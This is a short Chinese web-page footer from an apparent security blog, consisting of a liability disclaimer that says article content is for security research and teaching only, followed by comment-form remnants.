                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息